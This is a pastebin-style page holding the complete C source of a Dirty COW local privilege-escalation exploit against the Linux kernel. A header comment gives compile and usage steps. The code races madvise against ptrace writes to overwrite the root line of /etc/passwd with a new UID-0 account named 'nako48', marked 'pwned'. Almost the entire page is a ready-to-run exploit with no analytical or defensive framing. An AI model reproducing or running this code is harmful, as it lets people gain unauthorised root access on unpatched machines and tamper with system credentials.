SHOW:
|
|
- or go back to the newest paste.
| 1 | // | |
| 2 | // This exploit uses the pokemon exploit of the dirtycow vulnerability | |
| 3 | // as a base and automatically generates a new passwd line. | |
| 4 | // The user will be prompted for the new password when the binary is run. | |
| 5 | // The original /etc/passwd file is then backed up to /tmp/passwd.bak | |
| 6 | // and overwrites the root account with the generated line. | |
| 7 | // After running the exploit you should be able to login with the newly | |
| 8 | // created user. | |
| 9 | // | |
| 10 | // To use this exploit modify the user values according to your needs. | |
| 11 | // The default is "nako48". | |
| 12 | // | |
| 13 | // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): | |
| 14 | // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c | |
| 15 | // | |
| 16 | // Compile with: | |
| 17 | // gcc -pthread namafile.c -o namafile -lcrypt | |
| 18 | // | |
| 19 | // Then run the newly create binary by either doing: | |
| 20 | // "./dirty" or "./dirty my-new-password" | |
| 21 | // | |
| 22 | // Afterwards, you can either "su nako48" or "ssh nako48@..." | |
| 23 | // | |
| 24 | // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! | |
| 25 | // mv /tmp/passwd.bak /etc/passwd | |
| 26 | // | |
| 27 | // Exploit adopted by Christian "nako48" Mehlmauer | |
| 28 | // https://firefart.at | |
| 29 | // | |
| 30 | ||
| 31 | #include <fcntl.h> | |
| 32 | #include <pthread.h> | |
| 33 | #include <string.h> | |
| 34 | #include <stdio.h> | |
| 35 | #include <stdint.h> | |
| 36 | #include <sys/mman.h> | |
| 37 | #include <sys/types.h> | |
| 38 | #include <sys/stat.h> | |
| 39 | #include <sys/wait.h> | |
| 40 | #include <sys/ptrace.h> | |
| 41 | #include <stdlib.h> | |
| 42 | #include <unistd.h> | |
| 43 | #include <crypt.h> | |
| 44 | ||
| 45 | const char *filename = "/etc/passwd"; | |
| 46 | const char *backup_filename = "/tmp/passwd.bak"; | |
| 47 | const char *salt = "nako48"; | |
| 48 | ||
| 49 | int f; | |
| 50 | void *map; | |
| 51 | pid_t pid; | |
| 52 | pthread_t pth; | |
| 53 | struct stat st; | |
| 54 | ||
| 55 | struct Userinfo {
| |
| 56 | char *username; | |
| 57 | char *hash; | |
| 58 | int user_id; | |
| 59 | int group_id; | |
| 60 | char *info; | |
| 61 | char *home_dir; | |
| 62 | char *shell; | |
| 63 | }; | |
| 64 | ||
| 65 | char *generate_password_hash(char *plaintext_pw) {
| |
| 66 | return crypt(plaintext_pw, salt); | |
| 67 | } | |
| 68 | ||
| 69 | char *generate_passwd_line(struct Userinfo u) {
| |
| 70 | const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; | |
| 71 | int size = snprintf(NULL, 0, format, u.username, u.hash, | |
| 72 | u.user_id, u.group_id, u.info, u.home_dir, u.shell); | |
| 73 | char *ret = malloc(size + 1); | |
| 74 | sprintf(ret, format, u.username, u.hash, u.user_id, | |
| 75 | u.group_id, u.info, u.home_dir, u.shell); | |
| 76 | return ret; | |
| 77 | } | |
| 78 | ||
| 79 | void *madviseThread(void *arg) {
| |
| 80 | int i, c = 0; | |
| 81 | for(i = 0; i < 200000000; i++) {
| |
| 82 | c += madvise(map, 100, MADV_DONTNEED); | |
| 83 | } | |
| 84 | printf("madvise %d\n\n", c);
| |
| 85 | } | |
| 86 | ||
| 87 | int copy_file(const char *from, const char *to) {
| |
| 88 | // check if target file already exists | |
| 89 | if(access(to, F_OK) != -1) {
| |
| 90 | printf("File %s already exists! Please delete it and run again\n",
| |
| 91 | to); | |
| 92 | return -1; | |
| 93 | } | |
| 94 | ||
| 95 | char ch; | |
| 96 | FILE *source, *target; | |
| 97 | ||
| 98 | source = fopen(from, "r"); | |
| 99 | if(source == NULL) {
| |
| 100 | return -1; | |
| 101 | } | |
| 102 | target = fopen(to, "w"); | |
| 103 | if(target == NULL) {
| |
| 104 | fclose(source); | |
| 105 | return -1; | |
| 106 | } | |
| 107 | ||
| 108 | while((ch = fgetc(source)) != EOF) {
| |
| 109 | fputc(ch, target); | |
| 110 | } | |
| 111 | ||
| 112 | printf("%s successfully backed up to %s\n",
| |
| 113 | from, to); | |
| 114 | ||
| 115 | fclose(source); | |
| 116 | fclose(target); | |
| 117 | ||
| 118 | return 0; | |
| 119 | } | |
| 120 | ||
| 121 | int main(int argc, char *argv[]) | |
| 122 | {
| |
| 123 | // backup file | |
| 124 | int ret = copy_file(filename, backup_filename); | |
| 125 | if (ret != 0) {
| |
| 126 | exit(ret); | |
| 127 | } | |
| 128 | ||
| 129 | struct Userinfo user; | |
| 130 | // set values, change as needed | |
| 131 | user.username = "nako48"; | |
| 132 | user.user_id = 0; | |
| 133 | user.group_id = 0; | |
| 134 | user.info = "pwned"; | |
| 135 | user.home_dir = "/root"; | |
| 136 | user.shell = "/bin/bash"; | |
| 137 | ||
| 138 | char *plaintext_pw; | |
| 139 | ||
| 140 | if (argc >= 2) {
| |
| 141 | plaintext_pw = argv[1]; | |
| 142 | printf("Please enter the new password: %s\n", plaintext_pw);
| |
| 143 | } else {
| |
| 144 | plaintext_pw = getpass("Please enter the new password: ");
| |
| 145 | } | |
| 146 | ||
| 147 | user.hash = generate_password_hash(plaintext_pw); | |
| 148 | char *complete_passwd_line = generate_passwd_line(user); | |
| 149 | printf("Complete line:\n%s\n", complete_passwd_line);
| |
| 150 | ||
| 151 | f = open(filename, O_RDONLY); | |
| 152 | fstat(f, &st); | |
| 153 | map = mmap(NULL, | |
| 154 | st.st_size + sizeof(long), | |
| 155 | PROT_READ, | |
| 156 | MAP_PRIVATE, | |
| 157 | f, | |
| 158 | 0); | |
| 159 | printf("mmap: %lx\n",(unsigned long)map);
| |
| 160 | pid = fork(); | |
| 161 | if(pid) {
| |
| 162 | waitpid(pid, NULL, 0); | |
| 163 | int u, i, o, c = 0; | |
| 164 | int l=strlen(complete_passwd_line); | |
| 165 | for(i = 0; i < 10000/l; i++) {
| |
| 166 | for(o = 0; o < l; o++) {
| |
| 167 | for(u = 0; u < 10000; u++) {
| |
| 168 | c += ptrace(PTRACE_POKETEXT, | |
| 169 | pid, | |
| 170 | map + o, | |
| 171 | *((long*)(complete_passwd_line + o))); | |
| 172 | } | |
| 173 | } | |
| 174 | } | |
| 175 | printf("ptrace %d\n",c);
| |
| 176 | } | |
| 177 | else {
| |
| 178 | pthread_create(&pth, | |
| 179 | NULL, | |
| 180 | madviseThread, | |
| 181 | NULL); | |
| 182 | ptrace(PTRACE_TRACEME); | |
| 183 | kill(getpid(), SIGSTOP); | |
| 184 | pthread_join(pth,NULL); | |
| 185 | } | |
| 186 | ||
| 187 | printf("Done! Check %s to see if the new user was created.\n", filename);
| |
| 188 | printf("You can log in with the username '%s' and the password '%s'.\n\n",
| |
| 189 | user.username, plaintext_pw); | |
| 190 | printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
| |
| 191 | backup_filename, filename); | |
| 192 | return 0; | |
| 193 | } |